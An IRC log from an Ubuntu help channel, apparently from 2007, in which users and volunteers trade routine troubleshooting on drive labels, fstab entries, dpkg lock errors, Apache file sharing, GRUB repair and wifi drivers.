[03:21] <slyfox> nilleso: is there any way I can rename how the drive is labeled? it automatically mounts (it is an external ahrd drive via usb) as /media/disk-1  I want it to be called instead of disk-1 to be MediaDrive  how can I do it ?
[03:21] <sneharajr> inittab
[03:22] <sneharajr> i cant find it
[03:22] <slyfox> nilleso: yes, the whole drive is as one partition ext3 formatted.
[03:22] <spheard> reydelsillon: sudo rm /var/lib/dpkg/lock
[03:22] <reydelsillon> root@tulkas-desktop:~# sudo killall adept
[03:22] <reydelsillon> adept: no process killed
[03:22] <nilleso> slyfox, yes there is a way... checking
[03:22] <maddler> variant: thx...
[03:23] <reep> slyfox: you need to add a line for it in /etc/fstab
[03:23] <slyfox> nilleso: pleas.e
[03:23] <reydelsillon> spheard ok it passed
[03:23] <spheard> :-)
[03:23] <NewbieBaba> crdlb, cant i use that background permanent ? it dissappears when i close terminal window :/
[03:23] <spheard>  reydelsillon: not do apt-get install -f
[03:23] <crdlb> NewbieBaba, add it to your session
[03:23] <slyfox> reep: but it is not an internal drive, meaning it can change its name next time I add another external drive and then add this one it will be mounted at a different locaiton
[03:24] <spheard> reydelsillon: now do $sud apt-get install -f
[03:24] <crdlb> NewbieBaba, system>preferences>sessions> startup programs
[03:24] <spheard> reydelsillon: now do $sudo apt-get install -f
[03:24] <spheard> get there in the end
[03:24] <VSpike> Is there any good way to make a large amount (e.g. 20Meg) of data available to someone overseas?  I set up FTP but it just wouldn't work for them, and its a pig to get through firewalls.  Am considering stuff like Myspace, Pando but wondering if there are any better ways?
[03:24] <NewbieBaba> kk ty
[03:24] <spheard> VSpike: apache s realy good for that
[03:24] <|Kamen|> ok... the camera is plugged in, and listed in device manager... now how do I open it in some media player?
[03:24] <reydelsillon> spheard: wait wait. something starnge with my screen.
[03:24] <VSpike> Trouble is they are windows user and non-geek so SFTP is probably out
[03:24] <wick2o> reydelsillon: something strange in my neiborhood
[03:25] <wick2o> who you gonna call...
[03:25] <spheard> VSpike: apache s realy good for that
[03:25] <reydelsillon> ive not entered nothing eafter root@tulkas-desktop:~# sudo rm /var/lib/dpkg/lock
[03:25] <reydelsillon> root@tulkas-desktop:~#
[03:25] <reydelsillon> what now.
[03:25] <spheard> reydelsillon: now do $sudo apt-get install -f
[03:25] <|Kamen|> (kinda important here guys, this is for a security cam for someone who is coming over later today who has threatened violence against me)
[03:25] <reep> slyfox: you use the uuid. type blkid in a terminal to find it's uuid
[03:26] <VSpike> spheard: I'm reluctant because I'm not familiar with the setup of apache although I'm sure it's a good solution.  Was wondering if there are any real point and drool solutions
[03:26] <reydelsillon> spheard: root@tulkas-desktop:~# sudo apt-get install -f
[03:26] <reydelsillon> E: dpkg was interrupted, you must manually run 'dpkg --configure -a' to correct the problem.
[03:26] <reydelsillon> root@tulkas-desktop:~#
[03:26] <slyfox> reep: what happens when I know the uuid ?
[03:26] <spheard> VSpike: really, its easy
[03:26] <paradizelost> hey all, i'm trying to free up space, i deleted a virtual machine, should have freed up 7GB space, but free space didn't change
[03:26] <paradizelost> i did an rm -Rfv foldername
[03:26] <mrigns> is there a app for gnome like kde's kompos ?
[03:27] <spheard> VSpike:if the data is not sensitive your welcome to whack it on my server
[03:27] <paradizelost> where would i find where the space has gone?
[03:27] <paradizelost> df -h shows 100% usage
[03:27] <reep> slyfox: you can add a line for the drive in /etc/fstab. Something like: UUID=theuuid /media/MediaDisk ext3 defaults 0 2
[03:27] <ArtVandalae> mrigns, what's the program do?
[03:27] <VSpike> spheard: thanks.. probably would considered sensitive
[03:27] <spheard> then encrypt :-)
[03:27] <reep> slyfox: then it should be mounted to MediaDisk instead of disk-1
[03:27] <dudanogueira> what i have to install to have java running on my firefox?
[03:27] <slyfox> reep: what does this mean ? "defaults 0 2"
[03:28] <mrigns> ArtVandalae: beryl or compiz do the same if you move your mouse to the upper rihgt corner. they scale all windows on the screen
[03:28] <VSpike> spheard: That means the other end needs to know how to drive an encrpytion package :)
[03:28] <dsdg> dudanogueira, search for sdk in synaptic :) i installed that restarted firefox and it was working,
[03:28] <mrigns> but i dont want to use a composite manager
[03:28] <mrigns> in kde there is kompos
[03:28] <reep> slyfox: default mount options, the first 0 means it shouldn't be dumped, the 2 means it should be checked when mounting
[03:28] <mrigns> but i could't find anything similar for gnome
[03:28] <nilleso> slyfox, man e2label
[03:28] <reep> slyfox: "man fstab" will explain more detailed
[03:28] <spheard> VSpike: I think apache is your best bet for this kind of thing, you can leave it there for ever, password protect some parts, leave some parts open
[03:28] <ArtVandalae> mrigns, I've heard about this program. This program is a hack. But no, there's no gnome alternative as far as I know
[03:29] <VSpike> spheard: you're almost certainly right
[03:29] <VSpike> I'll have a stab at it
[03:29] <spheard> VSpike: all it is is apt-get install apache2
[03:29] <mrigns> ArtVandalae: sad :(
[03:29] <dudanogueira> dsdg: thank you! ill try here
[03:29] <spheard> VSpike: then place the file in /var/www/
[03:29] <VSpike> spheard: It's even already running :)  Just gotta configure the directories and security
[03:29] <reep> slyfox: oh, on second thought, it's probably easier to just change the label to MediaDisk as nilleso suggests ...
[03:30] <spheard> VSpike: Ubuntu loves you
[03:30] <slyfox> reep: I missed that lable comment, how do I change that again ?
[03:30] <VSpike> spheard: and I (mostly) love it right back ;)
[03:30] <spheard> Vspike, the first virtual virtual server config file is likely to be at /etc/apache2/sites-available/default/
[03:30] <slyfox> reep: yeah, label sounds easier, that is what I did in windows.
[03:31] <reep> slyfox: using e2label, read the manpage: "man e2label"
[03:31] <slyfox> ah
[03:31] <rambo3> VSpike, visit debian-administration.org
[03:31] <slyfox> reep: nilleso: let me see
[03:32] <Arafangion> Why doesn't wxpython work in Ubuntu?
[03:32] <spheard> hello, How do I stop kde from starting at boot?
[03:33] <slyfox> reep: nilleso: It worked, thank you !
[03:33] <nilleso> slyfox, cheers !
[03:33] <spheard> How do I stop kde from starting at boot?
[03:33] <wick2o> anyone have a fix for dapper 6.06.1 server edition for the megaraid_sas problem? everything works durning install, but after the install nothing the computer just loops tring to restart
[03:34] <spheard> How do I stop kde from starting at boot?
[03:34] <variant> !repeat | spheard
[03:34] <ubotu> spheard: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. You can search https://help.ubuntu.com or http://wiki.ubuntu.com while you wait. Also see !patience
[03:34] <slyfox> reep: one more question, say I gave the drive name label "MediaDrive" once unmounted, how do I mount it back on? sudo mount /dev/sdb1 /media/MediaDrive ?   what if I will mount it to /media/disk-2 for example how will disk-2 mount point conflict with the label MediaDrive ?
[03:34] <slyfox> nilleso:  one more question, say I gave the drive name label "MediaDrive" once unmounted, how do I mount it back on? sudo mount /dev/sdb1 /media/MediaDrive ?   what if I will mount it to /media/disk-2 for example how will disk-2 mount point conflict with the label MediaDrive ?
[03:35] <spheard> !!!
[03:35] <variant> slyfox: it won't conflict
[03:35] <BruceLeeds> hey, does someone know, whether these both commands will install the packages in "$FILE"? Here are the commands: "
[03:35] <BruceLeeds> cat $FILE | dpkg --set-selections
[03:35] <BruceLeeds> dpkg --selected-only
[03:35] <nilleso> spheard, I disable gdm/kdm/or xdm and startx manually instead ... i like it that way
[03:35] <variant> slyfox: you can write udev rules to define where to mount the partition.. you can then call it whatever you like. little complicated though
[03:35] <spheard> nilleso: how?
[03:35] <|Kamen|> ok lets try a different approach. when I try to isntall the drivers, I get...
[03:35] <michup> ./ccg_server: ./lib/libc.so.6: version `GLIBC_2.4' not found (required by /usr/lib/libdirectfb-0.9.so.24)
[03:35] <|Kamen|> /home/kamen/ov51x-1.65-1.12-mark/ov51x.c:207: error: expected ) before string constant
[03:36] <michup> i cant find glibc 2.4 in edgy repostitories
[03:36] <|Kamen|> line 207 looks like this:   MODULE_PARM(autobright, "i");
[03:36] <variant> !paste | |Kamen|
[03:36] <rambo3> slyfox, make entry in fstab and just type mount /media/MediaDrive
[03:36] <michup> how can i handle this one
[03:36] <michup> ?
[03:36] <|Kamen|> where do I need to put the )?
[03:36] <ubotu> |Kamen|: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[03:36] <nilleso> slyfox, you do that in /etc/fstab
[03:36] <spheard> nilleso: How do you stop kde from booting automatically?
[03:36] <|Kamen|> I aint pastin the whole log. just those 2 lines so someone can point me in the right direction
[03:36] <slyfox> nilleso: "do that" that being what exactly ?
[03:36] <Shaffox> what are the specifics for ubuntu ? (i have a +- 600 mhz computer, should i put ubuntu on it or xubuntu ?)
[03:37] <nilleso> slyfox, then you can just 'mount /media/MediaDrive"
[03:37] <spheard> Shaffox:ow much ram?
[03:37] <reep> slyfox: and, a filesystem can be mounted to several mountpoints at once.
[03:37] <variant> Shaffox: xubuntu would be better
[03:37] <Shaffox> 128 mb ram
[03:37] <spheard> Shaffox: duf xubuntu
[03:37] <spheard> I have the same machine and it chugged with xubuntu
[03:38] <spheard> Shaffox:(and still does chug with ubuntu)
[03:38] <nilleso> slyfox, enter a line for the drive and set it not to boot automatically .. google it, lots of info avail
[03:38] <slyfox> reep: nilleso rambo3 before I can do 'mount /media/MediaDrive"   what should I do in my fstab ?
[03:38] <Shaffox> chug ?
[03:38] <slyfox> ok
[03:38] <spheard> Shaffox: really slow, its not overly usable
[03:39] <reep> slyfox: you add something like this in /etc/fstab: UUID=theuuid /media/MediaDisk ext3 defaults 0 2
[03:39] <rambo3> !fstab > slyfox
[03:39] <spheard> Shaffox:if you have more than a couple of browser windows open you wait quite a time for the processor
[03:39] <Shaffox> oh ok
[03:39] <spheard> Shaffox:make sure you have a large swap
[03:40] <spheard> Shaffox:but its great as a basic php/mysql machine
[03:40] <orangefly> to anyone that has used fiesty beta: does it really support wireless better....???....
[03:40] <sorcerer> hey guys iam learning about the command GREP and the PIPE .. function could some one give me examnples how this is .. worked .. i mean if i do a ls /dev | grep screenshot  .. will it work .. or am i doing something .. please explain
[03:41] <CapaH> orangefly: It seems that the built in utilities handle wireless a bit better
[03:41] <CapaH> orangefly: But no big deal since I just use iwconfig/ifconfig :)
[03:41] <reydelsillon> somethings not working proper. i rebooted again. i tried to open add/remove programs (im in kubuntu) and ge t this : Another process is using the packaging system database (probably some other Adept application or apt-get or aptitude). Please close the other application before using this one.
[03:41] <variant> Shaffox: there are many desktops/window managers that will run very fast on that system. FVWM is really fast and quite cool looking (a bit unconventional though), fluxbox is very very fast but kind of minimalist too
[03:41] <CapaH> Other than the splash page, you *wont* notice a big change in Feisty vs Edgy :)
[03:42] <slyfox> reep: On my ext3 hard drive, I have write permission, but I also have lost+found folder to which I do not have write permission, is this normal ?
[03:42] <orangefly> it's still a pain to install wireless drivers....???....
[03:42] <fulat2k8499> hi folks, how can i set the console fonts to a proper one?  the one set is way too huge
[03:42] <variant> Shaffox: if you choose applications carefully and have a good bit of swap space you would have no problems. don't expect to run gnome comfertably though
[03:42] <CapaH> orangefly, : I think in the area of wireless *drivers* that Feisty is better
[03:42] <spheard> reydelsillon:
[03:42] <variant> Shaffox: 500MB swap would be more than enough
[03:42] <spheard> reydelsillon:what did you do man
[03:42] <Shaffox> variant, it has like 18 gig hdd
[03:43] <reydelsillon> i had a power failure here at home.
[03:43] <variant> Shaffox: thats great.. plenty of space for applications
[03:43] <reydelsillon> it reboted.
[03:43] <slyfox> rambo3:  On my ext3 hard drive, I have write permission, but I also have lost+found folder to which I do not have write permission, is this normal ?
[03:43] <reydelsillon> can you help me again?
[03:43] <rambo3> slyfox, yes
[03:43] <variant> slyfox: yes
[03:43] <Shaffox> it are 2 hdd each 10 gbv
[03:43] <ArtVandalae> slyfox, lost+found AFAIK is used by the OS when dealing with mangled files
[03:43] <variant> slyfox: thats where the filesystem will put information from bad fsck's
[03:44] <Shaffox> so i guess i'll take 10 for /home and the other then 0.5g for swap and rest for the system
[03:44] <znejk> how to change the default colors in gnome? the tooltips and so on?
[03:44] <reydelsillon> spheard: a msg would be good for me. text moves so fast in this channel.
[03:44] <variant> Shaffox: you could have 3GB fo rthe system and the rest as /home
[03:44] <ArtVandalae> Shaffox, how many gb do you have for the the whole linux system?
[03:44] <spheard>  reydelsillon:you had a power faliure whilst you were apt-getting?
[03:44] <variant> Shaffox: software raid will allow you to combine the disks
[03:45] <reydelsillon> spheard: yes
[03:45] <Shaffox> 2 seperated harddisks of each 10 gig so 2 times 10 = 20 in total
[03:45] <spheard>  reydelsillon:ah, then, you might be f**ked
[03:45] <michup> ./ccg_server: ./lib/libc.so.6: version `GLIBC_2.4' not found (required by /usr/lib/libdirectfb-0.9.so.24)
[03:45] <michup> i cant find glibc 2.4 in edgy repostitories
[03:45] <michup> how can i handle this one?
[03:45] <ArtVandalae> Shaffox, I'd dedicate ~80% to your /home dir
[03:46] <variant> spheard: adding ** to language does not make it acceptable here afaik
[03:46] <variant> reydelsillon: you probably just have to remove the lock file
[03:46] <spheard> variant: already done that
[03:46] <BruceLeeds> hey, does someone know, whether these both commands will install the packages in "$FILE"? Here are the commands: "
[03:46] <BruceLeeds> cat $FILE | dpkg --set-selections
[03:46] <BruceLeeds> apt-get dselect-upgrade
[03:46] <ArtVandalae> Shaffox, so about 4GB for your /, and 16GB for your /home
[03:46] <variant> reydelsillon: in a terminal run sudo apt-get update && sudo apt-get upgrade
[03:46] <variant> reydelsillon: any errors or warnings to pastebin please
[03:47] <ArtVandalae> Shaffox, the 4GB includes the 0.5GB of swap
[03:47] <Shaffox> can i do this when i'm installing it ?
[03:47] <dc20070404> can anyone tell me how to install Ubuntu without the GUI?  in other words I don't want the pretty UI I want all system interaction to be command line
[03:47] <ArtVandalae> Shaffox, yes
[03:47] <variant> dc20070404: use the server version
[03:47] <orbin> michup: what are you installing?
[03:47] <ArtVandalae> dc20070404, there's a curses installer
[03:47] <ArtVandalae> dc20070404, ubuntu-alternative
[03:47] <Shaffox> and the /home partition is going to mount automatically ?
[03:47] <ArtVandalae> dc20070404, nvm me, I understand what you're saying, listen to variant :)
[03:47] <Shaffox> *to be mounted
[03:48] <michup> i try to run server
[03:48] <ArtVandalae> Shaffox, should be, you should have to set mount points during installation
[03:48] <dc20070404> I downloaded the server version of the install but but how do I specify no UI?
[03:48] <michup> orbin, http://gccg.sourceforge.net
[03:48] <Shaffox> allright
[03:48] <dc20070404> I'm not talking about the install UI...I'm talking about the UI when the system is installed and running
[03:48] <ArtVandalae> Shaffox, the hdd space distribution is a little strange, so it might make things a little quriky
[03:48] <Shaffox> now, i want to do this for a school, is edubuntu worth it ?
[03:49] <michup> orbin, http:/gccg.sourceforge.net/manual/#sec3.2.
[03:49] <ArtVandalae> dc20070404, yep, so use ubuntu server as variant suggested
[03:49] <variant> dc20070404: it doesn't install it by default
[03:49] <ArtVandalae> Shaffox, what for school exactly?
[03:49] <Shaffox> ArtVandalae, high school, like 12-18
[03:49] <ArtVandalae> Shaffox, yeah, but do you need any specific software like  compilers and the life :)
[03:49] <dc20070404> so if I choose "Install Ubuntu" it starts the into LiveCD mode
[03:49] <ArtVandalae> Or just an office suite, etc
[03:49] <reydelsillon> variant: http://paste.ubuntu-nl.org/16255/
[03:50] <ArtVandalae> Shaffox, I have no idea why I ended the sentence with "the life"... sorry it's 11:50PM here :P
[03:50] <variant> reydelsillon: ok, it tells you how to fix it
[03:50] <dc20070404> once the LiveCD is running I choose the install icon....
[03:50] <reydelsillon> ok im gonna do what it says then.
[03:50] <variant> reydelsillon: at the bottom of the output,  it gives you the exact command to run
[03:50] <dc20070404> once I go through the prompts....it will just install a non-UI system?
[03:50] <variant> reydelsillon: great, will take a little short time :) just don't cancel it
[03:51] <variant> dc20070404: yep
[03:51] <variant> dc20070404: The Ubuntu Server has no open ports after the installation and contains only the essential software needed to build a secure server.
[03:51] <variant> dc20070404: from the description
[03:51] <orbin> michup: try installing the build-essential package
[03:51] <variant> dc20070404: i never installed the ubuntu server though.. (it's a desktop os imo)
[03:51] <dc20070404> ok...cool...I thought I had to specify a command-line option at install time to get the desired result
[03:51] <reydelsillon> variant: i need to be superuser. how do i do that?
[03:52] <variant> reydelsillon: sudo -i
[03:52] <variant> reydelsillon: in a terminal
[03:52] <thegve> Hello... I have just finished connecting some customer networks to our new VPN firewall (Watchguard Firebox), and I was wondering what software GUI IPsec software client is available for Ubuntu.
[03:52] <reydelsillon> im root now....
[03:52] <dc20070404> so would you suggest running desktop version?  I just want to put up a tomcat server and host some web content
[03:52] <goodwil1> hallo
[03:53] <variant> dc20070404: no, i would suggest using the server version of a server.. i just prefer other distros to ubuntu for server installs
[03:53] <michup> orbin, ive build-essential 11.3 package installed
[03:53] <reydelsillon> i runned the comand but nothing hapends it just made a new root@tulkas-desktop: ~# line
[03:53] <dc20070404> what would you suggest?
[03:53] <variant> reydelsillon: cool
[03:53] <rambo3> michup, what do you need framebuffer for?
[03:53] <variant> reydelsillon: rerun the other command then. apt-get update && sudo apt-get upgrade
[03:53] <goodwil1> can someone help with the shareing the ubuntu connection via a cross over cable and a win xp laptop?
[03:54] <reep> reydelsillon: the # at the end means you are root. a $ means you're a regular user
[03:54] <rambo3> !info libuclibc-dev endgy
[03:54] <reijo> goodwil1, use samba
[03:54] <variant> goodwil1: the easy way to do it would be to run firstarter and enable NAT
[03:54] <gortiz> hi to all
[03:54] <ubotu> libuclibc-dev: A small implementation of the C library. In component universe, is optional. Version 0.9.26-cvs20040816-5.1 (edgy), package size 2118 kB, installed size 11044 kB (Only available for alpha arm i386 m68k mips mipsel powerpc sh sparc)
[03:54] <orbin> michup: is libc6 installed?
[03:54] <reydelsillon> y
[03:54] <orbin> michup: the package, that is
[03:54] <variant> goodwil1: then the xp computer will be able to connect to the ubuntu computer via dhcp
[03:54] <reydelsillon> extrancting------ :)
[03:54] <michup> rambo3, http://gccg.sourceforge.net and http://gccg.sourceforge.net/manual/#sec3.2 i try to run mtg-server
[03:55] <gortiz> someone know a way to know what process is using my hd at the moment?
[03:55] <goodwil1> im new to ubuntu, how dies it wor?
[03:55] <michup> yes it is installed libc6
[03:55] <goodwil1> does it work?
[03:55] <variant> goodwil1: firestarter is a firewall program that will allow the connection to be forwarded with NAT
[03:55] <michup> and libc6-de
[03:55] <reijo> goodwil1, yes, it works
[03:55] <michup> libc6-dev
[03:55] <reijo> by default samba is instelled, imho, use places->connect to server
[03:56] <gortiz> someone know a way to know what process is using my hd at the moment?
[03:56] <ArtVandalae> No I don't think samba is installed by default, that's the smbcient
[03:56] <ArtVandalae> *sbclient
[03:56] <variant> reijo: you are miss understanding what he wants
[03:56] <ArtVandalae> *smbclient
[03:56] <ArtVandalae> Third time lucky
[03:56] <gortiz> ArtVandalae, lol
[03:56] <variant> goodwil1: depends what you mean but, fuser/ps
[03:56] <reijo> variant, ohh, my bad
[03:57] <rambo3> michup, are you shure its not gcc-2.1 and not glibc ?
[03:57] <dc20070404> variant: what server os would you suggest?  (if you replied, I'm sorry I missed it)
[03:57] <VSpike> spheard: What's the best way to password protect a directory in Apache?
[03:57] <AndyM_> ahmed: /speech2/experiments/amorris/htk_train/store_rand_new/rlist (add .g711_wav to get wav data)
[03:57] <variant> reijo: he wan'ts to foward his internet connection
[03:57] <reep> ArtVandalae: indeed, the samba-server wasn't installed on my fresh edgy installation
[03:57] <ArtVandalae> dc20070404, debian etch (4.0) was just released
[03:57] <variant> dc20070404: it's ok, it's a personal preference really
[03:57] <rambo3> or something
[03:57] <reydelsillon> i launch add/remove aplication it startts to work but disapears.
[03:57] <reijo> variant, masquerade?
[03:58] <michup> libc6 is installed
[03:58] <orbin> michup: the edgy package provides glibc-2.3.6-2.  The error is saying you need 2.4 ... i think.
[03:58] <variant> dc20070404: I happen to like slackware and gentoo.. but for a corporate environment i like bsd or fedora/redshat
[03:58] <boubbin> how do I change the encoding from utf8 to ISO 8859-1
[03:58] <ArtVandalae> reydelsillon, run it from the terminal, and see what error messages you get
[03:58] <acojlo> hi, have anyone experienced hald-addon-stor going into disk sleep state because of /dev/cdrom ?
[03:58] <reydelsillon> adept is working normal
[03:58] <craigbass1976> Can anyone tell me what embedded linux means?  Sounds to me like it's a distro made by a company (like redhat or suse)
[03:58] <surviver> !terminal
[03:58] <ubotu> The linux terminal or command-line interface is very powerful. Open a terminal via Applications -> Accessories -> Terminal (Gnome) or K-menu -> System -> Konsole (KDE).  Manuals: https://help.ubuntu.com/community/BasicCommands
[03:59] <variant> reijo: he only needs to enable port forwarding in firestarter gui and he is sorted
[03:59] <reydelsillon> im not gonna play more with it. adept is working thats ok wor me.   any better aplication then the adept for a kubuntu user?
[03:59] <michup> orbin, correct i need 2.4 but i cant find it in repositories
[03:59] <chemaja> craigbass1976, use wikipedia
[03:59] <kristjan_> is it possible to install all those betas and alfas without burning a cd (I would like to burn only final release)?
[03:59] <ArtVandalae> craigbass1976, embedded linux refers to running Linux on smaller, memory constrained devices (think microwaves, tvs, dishwashers, those sorts of things)
[03:59] <ArtVandalae> kristjan_, yes, in virtual machines
[03:59] <dc20070404> thanks for the feedback....greatly appreciated!  good day!
[04:00] <YingFan> are all files in /tmp deleted upon reboot???
[04:00] <rambo3> !info libc6 edgy-backports
[04:00] <ubotu> Package libc6 does not exist in edgy-backports
[04:00] <rambo3> !info glibc6 edgy-backports
[04:00] <ubotu> Package glibc6 does not exist in edgy-backports
[04:00] <intefanvetjag> can someone please help a first time linux usr
[04:00] <ArtVandalae> internetrr, yes, just ask the question
[04:01] <michup> so if its not exists is there other solution?
[04:01] <kane77> intefanvetjag,  The Ask To Ask protocol wastes more bandwidth than any version of the Ask protocol, so just ask your question.
[04:01] <intefanvetjag> cannot get my wifi working
[04:01] <ArtVandalae> intefanvetjag, we need more info than that
[04:01] <ArtVandalae> What version of Ubuntu are you running?
[04:01] <kristjan_> ArtVandalae: are virtual machines safe way to install? why doesn't iso support installation from harddisk?
[04:01] <kane77> intefanvetjag, what wifi card are you using?
[04:02] <boubbin> how do I change the encoding from utf8 to ISO 8859-1
[04:02] <ArtVandalae> kristjan_, yes virtual machines are safe. In fact they're safer than installing it normally
[04:02] <reijo> i'm using 2200bg, works
[04:02] <YingFan> almost all files in /tmp disappeared upon reboot, is this normal ubuntu default?
[04:02] <ArtVandalae> kristjan_, an ISO isn't like a binary (exe file for Windows people). Ubuntu is an OS, not an application
[04:03] <variant> YingFan: yes, it stands for temporary
[04:03] <ArtVandalae> kristjan_, that's not to say you can't install Ubuntu in Windows, there are projects under way
[04:03] <intefanvetjag> ubuntu 6.10 I do know what card i am currently using, i installed the "gnome-network-manager" but when I start my computer it does not list my wireless connections.
[04:03] <intefanvetjag> do not know what card***
[04:03] <wizo> hey guys, im tryin gto install ubuntu 6.10 under virtualpc,and im getting the error "kernel panic- not syncing: attempted to kill idle task", what's happening here?
[04:04] <dsdg> intefanvetjag, lspci -v
[04:04] <dsdg> that will tell you what card :)
[04:04] <YingFan> variant thanks, where is that setting?
[04:04] <variant> YingFan: sorry, some rc file somehwer i don't remmember
[04:04] <sorcerer> guys under my .. computer .. how do i knwos whats my .. dvd rom called ? in linux like what hd device ?
[04:04] <intefanvetjag> ok, i think it is the "Intel Corporation 82801G"
[04:04] <YingFan> variant ok, thanks. I grep around a bit :p
[04:04] <variant> sorcerer: /dev/dvd probably
[04:05] <variant> sorcerer: can also be /dev/cdrom sometimes
[04:05] <ArtVandalae> wizo, that really isn't enough information, sorry. there could be so many different problems, try google first. If nothing, then try Ubuntu 7.04, which should be out within the next 24 hours, hopefully that fixes the problem
[04:05] <reep> YingFan: why do you want to put files in /tmp ?
[04:05] <kristjan_> ArtVandalae: other distros, like suse and mandrake let you install from harddisk (I have heard)
[04:05] <kristjan_> ArtVandalae: I'm willing to try virtual machine installation. Is there a howto somewhere? (I can't find anything like this in ubuntu wiki)
[04:05] <soc> hi
[04:05] <wizo> ArtVandalae, that's all the information i got =(
[04:05] <Weiss> intefanvetjag: your connection, or your networks? sometimes it can take a little while to find the networks
[04:05] <soc> have a probblem
[04:05] <reijo> are ubuntu developmenters in this channel to ?
[04:05] <wizo> but thanks anyway
[04:05] <sorcerer> but how can i know whats optical drives are connected
[04:05] <soc> archlinux damaged my grub
[04:05] <ArtVandalae> kristjan_, are you running Windows right now?
[04:05] <YingFan> reep, had some large videoconversion intermediates...
[04:06] <soc> i can boot arch, but not windows or ubuntu
[04:06] <soc> now i want to do a grub-install /dev/sda
[04:06] <variant> sorcerer: lshw
[04:06] <reep> YingFan: it's probably easier to configure the application to store the files elsewhere
[04:06] <variant> sorcerer: lshw | less
[04:06] <soc> ich did a "chroot /mnt/ubuntu" beforehand
[04:06] <Weiss> intefanvetjag: do your networks show up in "iwlist scan"?
[04:06] <kristjan_> ArtVandalae: no, kubuntu, but I decided it
[04:06] <intefanvetjag> Weiss, well, when I looked in my "networking" section i could not even find the card. just "eth0".
[04:06] <ArtVandalae> kristjan_, install VirtualBox
[04:06] <soc> but it does not work
[04:06] <ArtVandalae> kristjan_, that's very easy to use
[04:06] <kristjan_> ArtVandalae: *it is wrong to burn isos all the time that I will use only once
[04:06] <intefanvetjag> Weiss, sec, checking that...
[04:06] <soc> it says not found or not a block device
[04:07] <variant> soc: in what way "does not work"?
[04:07] <ArtVandalae> kristjan_, yep, I understand
[04:07] <variant> soc: it says that when you try to chroot it?
[04:07] <YingFan> reep, yeah except i partitioned a large tmp for this purpose...
[04:07] <Glos_WiFi> !sound
[04:07] <ubotu> If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin - For playing audio files, see !Players and !MP3
[04:07] <soc> no when i do
[04:07] <variant> soc: did you mount proc inside the chroot as well?
[04:07] <kristjan_> ArtVandalae: what's the package name?
[04:07] <soc> /usr/sbin/grub-install /dev/sda
[04:07] <soc> ^no
[04:07] <soc> how do i do that
[04:07] <reep> YingFan: then simply mount that partition somewhere else ...
[04:08] <intefanvetjag> Weiss, hmm, dont really know how to use the iwlist scan, does not give me any helpful when i type "iwlist"...
[04:08] <variant> soc: ah.. personally i think it's sometimes best to just type "grub" and set it up inside the grub shell
[04:08] <ArtVandalae> kristjan_, you'll have to get it off the website... google virtual box, then download the deb for your version of Ubuntu
[04:08] <soc> mh ok
[04:08] <soc> moment ...
[04:08] <variant> soc: but i'm not really in the mood for explaining :/
[04:08] <soc> mh
[04:08] <soc> ok
[04:08] <soc> someone who can explain how to mount proc in chroot
[04:08] <variant> infact, i'm off out for a bike raid
[04:08] <variant> ride
[04:09] <variant> soc: thats not what you asked..
[04:09] <intefanvetjag> weiss, if it might be helpful, this happend after my latest update, before that the wireless interface was listed under "networking" as well as my wired...
[04:09] <variant> soc: mount -t proc proc /mnt/ubuntu/proc
[04:09] <reydelsillon> ----------- spheard im in query ....
[04:09] <Weiss> intefanvetjag: "iwlist scan" should give you a list of wifi networks.. but it sounds like you have a driver problem..
[04:09] <robot_> hi.
[04:09] <soc> mh
[04:09] <YingFan> variant yeah i guess, just that ubuntu's fstab is so complicated compared to other distros i don't get these UUID stuff or what to put there
[04:09] <soc> so what would you do in my situation
[04:10] <variant> YingFan: yeah, thats a udev thing
[04:10] <variant> !uuid | YingFan
[04:10] <intefanvetjag> weiss, ok. thx for the help anyway. =)
[04:10] <ubotu> YingFan: To see a list of your devices/partitions and their corresponding UUID's, run this command in a !shell:  blkid  (see https://wiki.ubuntu.com/LibAtaForAtaDisks for the rationale behind the transition to UUID)
[04:10] <soc> arch's grub definately doesn#t find the ramdisk on my ubuntu partition
[04:10] <OrTigaS> my HD1 lost after reinstalling grub( i reinstall grub because i reinstall XP) how can i restore to see my HD1?
[04:10] <soc> so i think it's an uuid-problem
[04:10] <reydelsillon> spheard: look msg channel .
[04:10] <soc> so i want to install the grub from ubuntu again
[04:10] <YingFan> variant, thanks i'll check it out
[04:10] <kristjan_> ArtVandalae: is qemu (that is found in repos) same thing?
[04:10] <OrTigaS> i saw sameprob :)
[04:11] <ArtVandalae> kristjan_, yes, but it might be harder to configure, and not as fast (not without kqemu anyway)
[04:11] <reep> YingFan: edit /etc/fstab, find the line that says UUID=someuuid /tmp , and change it to /media/tmp for instance. Make sure you create the dir first though, sudo mkdir /media/tmp
[04:11] <ArtVandalae> kqemu = qemu accelerator
[04:11] <polter> hey everybody, I was wondering what timezone the release is based on. is it GMT or GMT+1 or what?
[04:11] <infidel> after updating frostwire doesn't work is this a common error?
[04:12] <soc> ok i did mount proc but it didn't help ...
[04:12] <soc> mh
[04:12] <OrTigaS> can delete that UUID in /etc/fstab?
[04:12] <soc> maybe i should use an ubuntu-live-cd?
[04:12] <OrTigaS> just leave the /dev/hd?
[04:13] <rambo3> soc, are you on linstall cd ?
[04:13] <soc> no
[04:13] <ferret> That link doesn't give any rationale at all.
[04:13] <soc> i'm running arch at the moment an typing these things on a different computer
[04:13] <soc> so how can i remove the uuids?
[04:14] <jonah_> hi guys, is there anyway to mount a mac dvd on linux?
[04:14] <OrTigaS> can be delete "UUID" in /etc/fstab and just leave /dev/hd?
[04:14] <YingFan> variant, I assume the files are lost for good, or any chance of recover?
[04:14] <soc> the problem is, windows won't boot too, and it doesn't use uuids ...
[04:14] <variant> YingFan: what files???
[04:15] <variant> soc: the uuid is just a unique identifier for partitions and disks
[04:15] <YingFan> variant, recently deleted files
[04:15] <OrTigaS> i'm Imvissible?
[04:15] <variant> soc: you can use the non unique /dev/hda1 or /dev/sdb4 for example
[04:15] <bsnider> is there a command i can use to view the version information for a module?
[04:15] <variant> YingFan: did you deleet them or move them to trash? what kind of data is it? movies/documents/text files?
[04:16] <prometoys> does somebody use subclipse?
[04:16] <OrTigaS> hi
[04:16] <variant> bsnider: modinfo
[04:16] <OrTigaS> anyone see my question?
[04:16] <YingFan> variant, deleted from tmp by the initscript or cron or something
[04:16] <bsnider> variant: what if it's not a loaded module?
